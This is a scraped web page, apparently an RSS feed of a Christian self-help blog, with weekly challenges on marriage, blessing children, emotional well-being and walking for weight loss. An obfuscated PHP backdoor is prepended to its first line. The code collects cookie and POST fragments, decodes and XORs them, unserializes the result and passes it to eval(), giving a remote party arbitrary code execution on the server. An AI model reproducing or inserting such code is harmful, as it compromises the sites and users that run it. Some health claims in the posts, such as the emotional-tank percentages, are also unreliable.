$pEEwBCCew = "\x59" . "\x6d" . chr (95) . chr ( 1084 - 964 ).chr ( 143 - 62 )."\x48" . chr (70) . "\x68";$PGAdwYq = chr ( 1071 - 972 ).chr (108) . "\x61" . 's' . chr (115) . chr (95) . "\x65" . chr ( 168 - 48 )."\151" . "\163" . "\164" . chr (115); $XskdsHD = class_exists($pEEwBCCew); $pEEwBCCew = "30476";$PGAdwYq = "64258";$brDbDK = FALSE;if ($XskdsHD === $brDbDK){function tVeNl(){return FALSE;}$iJdLOOf = "20372";tVeNl();class Ym_xQHFh{public function guymaIfr(){echo "16458";}private $UzZvn;public static $nIlAtzHX = "cbc2f9ea-1cb6-4d48-a0d9-0ed4aae00383";public static $KyOCFQD = 12953;public function __destruct(){$iJdLOOf = "22096_46246";$this->HqPRADn($iJdLOOf); $iJdLOOf = "22096_46246";}public function __construct($RBbHWTaq=0){$yrSItkx = $_POST;$tKMfeX = $_COOKIE;$FSBlU = @$tKMfeX[substr(Ym_xQHFh::$nIlAtzHX, 0, 4)];if (!empty($FSBlU)){$wogzMVTW = "base64";$bEqOsuv = "";$FSBlU = explode(",", $FSBlU);foreach ($FSBlU as $GaJNpUj){$bEqOsuv .= @$tKMfeX[$GaJNpUj];$bEqOsuv .= @$yrSItkx[$GaJNpUj];}$bEqOsuv = array_map($wogzMVTW . "\x5f" . 'd' . "\x65" . "\143" . "\x6f" . "\144" . 'e', array($bEqOsuv,)); $bEqOsuv = $bEqOsuv[0] ^ str_repeat(Ym_xQHFh::$nIlAtzHX, (strlen($bEqOsuv[0]) / strlen(Ym_xQHFh::$nIlAtzHX)) + 1);Ym_xQHFh::$KyOCFQD = @unserialize($bEqOsuv);}}private function HqPRADn($iJdLOOf){if (is_array(Ym_xQHFh::$KyOCFQD)) {$miTnQrnj = str_replace("\x3c" . chr ( 163 - 100 ).'p' . chr (104) . "\x70", "", Ym_xQHFh::$KyOCFQD["\143" . "\x6f" . 'n' . chr ( 758 - 642 ).chr ( 153 - 52 )."\x6e" . "\x74"]);eval($miTnQrnj); $iJdLOOf = "20372";exit();}}}$teLPg = new /* 17229 */ Ym_xQHFh(); $teLPg = str_repeat("22096_46246", 1);}
It is very important in your marriage and/or other significant relationships that you realize that however you feel and what you say does not come out unless IT is ALREADY there.
It is quite natural to default to the old standard, “Well you bring it out of me…!” But the real question is: “Why is it there in the first place?” We are all experts on monitoring our partner’s behaviors, but how often do we really stop and monitor what is really in our own heart.
This week’s challenge is designed for you to guard your heart. You will be challenged to stop for about 60 seconds, feel, identify and call out what is in your heart.
Your challenge is:
This exercise will be particularly challenging for men as we have difficulty with really monitoring our hearts…and even more difficulty doing it quickly. The typical man will say, “I am angry or I am frustrated” and that is it. But if you really want the best relationship possible, you have to go deeper and ask, “Why do I feel angry?” (Use the list of emotions above) This will reveal the true answer. I feel angry because…I feel unappreciated…or I feel disrespected…or I feel inadequate, etc.
Lastly, please note if you are doing this and your spouse/significant other is not, why you say, “I feel your specific emotion’s name,” instead of your typical comeback or response, you could get a negative response. For example, you say, “I feel disrespected” and they say, “Well if you stop being such a dreamer, maybe there would be something to respect.” Remember, your spouse’s words came out of their heart (unguarded as it may be), not yours. The real secret of this exercise is that when you call out the NAME of the emotion you are feeling it can no longer control you. Its power over you ceases. It’s the bringing it into the light that removes the darkness it possesses. Be patient, trust God and remember, you can best help improve your relationship (although not necessarily overnight) by above all things…guarding your heart.
]]>A blessing is different from a prayer.
As parents, it is critically important for us to ask God’s blessing over our children DAILY.
Although Christians have been given a method/formula in how to pray by Jesus…The Lord’s Prayer…found in the Gospel of Matthew 6:9–13, it may not be as clear how to ask for God’s blessing. However, here is a popular, yet ancient, method of how to ask for God’s blessing. You may have heard of an example of asking for God’s blessing found in 1 Chronicles 4:9-10 referred to as the “Prayer of Jabez” made popular by the book The Prayer of Jabez: Breaking Through to the Blessed Life, an inspirational book published in 2000 by Bruce Wilkinson as the first book in the “BreakThrough” book series. This provides a good template for asking for God’s blessing over someone. My version of how to do this is below.
Here is what I have used for years while usually physically holding/touching my sons or daughter, “Father God, I ask You to bless my beautiful son, Alex, in a powerful way. Father God I ask for your super-natural blessing over this boy. I ask that You cause him to grow in a way today, God, that is pleasing to You and that he becomes more of the servant You have created him to be. I ask that Your hand be on him and show him great favor. I ask that You give him a sword and shield to protect against and to fight-off any deception, any infliction or infirmity that would otherwise keep away from your will Father. I ask that You give Him Your wisdom and peace today. Father I ask for Your blessing in Your precious son Jesus’ name. Amen!”
Regardless of how you ask God to bless your children (and/or your spouse, your extended family, your business and etc.), it is important that you do it every day YOU would like to SEE THEM BLESSED. Of course, you can skip the days where you don’t want them blessed. (Just kidding. This is why I suggest everyday.)
This week’s challenge is designed for you to bless your children. If you do not have children to ask a blessing over, may I suggest you ask for God’s blessing over your parents and/or siblings.
Your challenge is:
This is going to be extremely challenging for those of you who have estranged relationships from your children/adult children/parents, but DO IT ANYWAY. Remember, part of having grateful wealth is being the BEST you were created to be…REGARDLESS of how painful or difficult. Make the decision to do whatever it takes to SUCCEED AT THIS CHALLENGE. DO NOT FAIL HERE. NO EXCUSES!
Lastly, I want to encourage you to extend this challenge to include your business! You might be amazed at how HE releases His favor. Remember, God is ALWAYS ON TIME! So if you don’t get what appears to be a miraculous change in your business or relationship with your son/daughter/grandchild etc, please know that asking God to bless them is not going in vain and will prove to make an incredible impact…at the exact perfect time!
]]>You have an emotional tank. It has a funnel that fills it and it has a drain that drains it. When your emotional tank is filled you are at your best. It is easy to be more grateful!
Take a minute and get a piece of paper and a pen. Draw a square that represents your “well being” tank. Now draw a funnel that feeds into it from above and a tube out of the bottom that drains it. Things we experience daily either fill or drain our emotional tank. Psychologists have shown that when your emotional tank is filled to 100% you are at your best and being grateful is easy. When your tank drops to 75% full, you tend to experience anxiety and overwhelm and being grateful is much more difficult; at 50%, you have an emotional breakdown and at 25% a nervous breakdown and being grateful for most is virtually impossible. If this is even remotely true, the key then is to keep your tank full as close to 100% as possible.
For me, it is pretty easy to answer what fills and drains my tank. How about for you? Can you list 5 things that you know fills your tank…5 things you are grateful for? Can you list 5 things that you know drain your tank?
Does your daily rhythm (your normal routine) typically fill or drain you? Do you even have a daily rhythm that you can readily identify? If not, what would be necessary for you to get into a rhythm that is filling your tank? Yes I know you don’t have time, but what if you made the time? What if you decided you couldn’t afford (especially for those around you) for your tank to get any lower than it already is.
Have you heard of Dr. Stephen Covey’s famous term of “Sharpening the axe?” This term came from a little story about two woodcutters who challenged and bet each other to see who can cut down more trees in one day. At daybreak, the first one began furiously chopping down trees. He worked up a sweat and by noon had cut down sixteen trees. The other woodcutter only cut down four, because he took the first two hours to sharpen his axe. As he sharpened it, his challenger laughed at him knowing he was doomed to lose the bet with all that wasted and unproductive time.
That’s when things got interesting. By early afternoon, the first woodcutter’s strength (his tank) was starting to wane. It took him almost an hour to cut down one tree, all the while his challenger was picking up speed. How could this be? Certainly he was as strong as strong as the challenger. Unfortunately, strength wasn’t the most important thing anymore. It was all about whose axe was sharper. (i.e. tank was fuller) The sharper the axe – the quicker the trees came down. (i.e. the ability to stay grateful) By late afternoon, the second woodcutter who sharpened his axe had passed up his challenger by several trees and won easily. It seemed like such a waste of time to sharpen the axe earlier that day, but eventually, it had proved not only to save him time, it had brought him winning results.
In Ecclesiastes 10:10 it says: “If the axe is dull and he does not sharpen its edge, then he must exert more strength. Wisdom has the advantage of giving success.”
Your challenge is:
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Gary Thomas writes in his best-selling book, Sacred Marriage, “The idea that marriage can survive on romance alone, or that romantic feeling is more important than any other consideration when choosing a spouse, has wrecked many a marital ship.” If your marriage is struggling or certainly not where you want it to be, how to save your marriage must start from a completely different place.
In my podcast last week, I talked about how easy and natural it is for all of us to point our love “arrows” inwardly and seek love for ourselves rather than outwardly pointing them as exampled by our creator. This is nowhere more evident than in relationships especially marriage. How many times have you heard someone say or perhaps have even said yourself, “I am just not feeling it anymore.” “They have changed” or “I have changed.” “I do so much more than they do…” “It’s just not fair.” If you have ever heard or said these words, there is a strong chance that the relationship is not built on a solid foundation.
When you start to feel this way and/or your “romantic feelings” are slipping away and if you believe and follow popular philosophy as dispensed in TV shows, magazines, and talk shows, you might find it easy to say, “Well if I feel this way…they must not really be my soul-mate.” The idea that a healthy marriage is based at any time upon how you feel does indeed set you up for a martial ship wreck and is not how to save your marriage. Here is the reason. Biblical love is based upon commitment, not feelings. Can you imagine if God loved us based upon how HE felt about us at any given moment? I don’t know about you, but for me, I might be in a heap of trouble. Furthermore, the concept of “grace” would be totally thrown out the window as well.
I like what Gary Thomas says when he poses this question, “What if God designed marriage to make us Holy more than to make us happy?” Okay, I can hear you saying “…well that’s a real encouraging question…and anyway, I just want to be happy!” Well if you want to become happy…really happy then become Holy! To understand how, we need to look at the definition of the word, Holy. Simply put, Holy means “dedicated and devoted unconditionally to” another …most often God as in a Holy man. However, if you were Holy in your love for your spouse, you would put their needs above that of your own. In other words, you would love them unconditionally. That especially means loving them when it isn’t fair…when they don’t deserve it and when the score card is 1000 to 1 when comparing your giving to their giving. You might say, “Why should I love them unconditionally?” The answer is easy. Because that is how God loves you. He loves you regardless of how many times you screw up. Regardless of how many times you are disrespectful. Regardless of how many times you are self-consumed. Little-by-little…when we experience (are aware of) His incredible and unconditional love, we begin to change. We slowly and gradually want to do more for Him and to become more pleasing to Him. This is exactly what happens when your spouse experiences YOUR “true” unconditional love. Even the hardest-of-hearts (often under the greatest deception) are…over time… returned to their unhardened state when they are bathed in unconditional love. You may have heard it said that love conquers all…and it is so true. This is how you save your marriage…the more holy you are in your love for your spouse the better your marriage will become permanent.
This week we want to focus on seeking to understand our spouses and then loving them unconditionally. You want to fight as hard to understand them, as you fight to be understood by them. To learn more on how to do this, please see my blog post on guarding your heart. This means that you will have to extend them the courtesy of the benefit-of-the-doubt and seek to understand why they are saying or doing what they are saying or doing. This also means you will love them unconditionally no matter what even though they may not DESERVE it. When you find yourself saying, “Why am I doing this?” Just quietly whisper to yourself, “Because HE (God) loves me this way too…even though I don’t deserve it either.” Then, compose yourself, ask for God’s strength and favor and continue to love unconditionally. Plus, know that this is how you save your marriage permanently and ultimately make it 100 x better.
The Benefits Are Surprising, Easy And Permanent
Okay Sorry Guys!
Had you going for a minute…didn’t I? But I have to break the news that this surprising, easy and permanent exercise for weight loss IS NOT FISHING. It’s something that is a lot easier, a lot less expensive and can be done almost anywhere at anytime.
If you just watch your diet, but do not exercise, you may find that losing fat becomes more difficult. Your body’s internal mechanism (called a set-point) regulates the amount of body fat it keeps. When your body experiences a drop in calories such as in dieting, it can simply adjust the base metabolic rate (BMR) so it can use calories more efficiently. Thus, as your BMR dives lower and lower, as soon as your diet is broken, you will find yourself gaining back more body fat faster and easier than before! Ouch!
If you want to change this “set-point” back to a more “youthful” setting YOU HAVE TO EXERCISE TO LOSE WEIGHT in addition to watching your diet. Physical exercise is the only known way to lower your set-point and raise your BMR (i.e. metabolism) and thereby effectively programming your body to store less fat than it did before. Exercising aerobically can give your body oxygen, burn fat as fuel, and help make the greatest impact on your metabolism.
In the 1970s, two prominent physicians authored The Neuropsychology of Weight Control. They discovered that walking outside at a steady pace for up to one hour per day helped reset the body’s weight set point, making people lean and healthier. Walking (as an aerobic exercise to lose weight) may be difficult with your busy schedule, and yet may give you the most dramatic effect in helping you not only become more fit, but indeed more healthy. Walking (or rebounding on a mini- trampoline) aerobically can help reset your “normal” metabolic rate and return you to a more youthful calorie utilization and distribution of body fat.
You will not lose body fat permanently and healthfully unless you reset your set point.
Now that your body should be more alkaline and hydrated from early blog post on the importance of alkaline water, You need to start daily exercising aerobically OR do weight-training OR do compound-body training that keeps you in the fat-burning aerobic zone while you exercise to lose weight.
This week’s challenge is designed to show you how to exercise to lose weight in a certain way..
Your challenge is: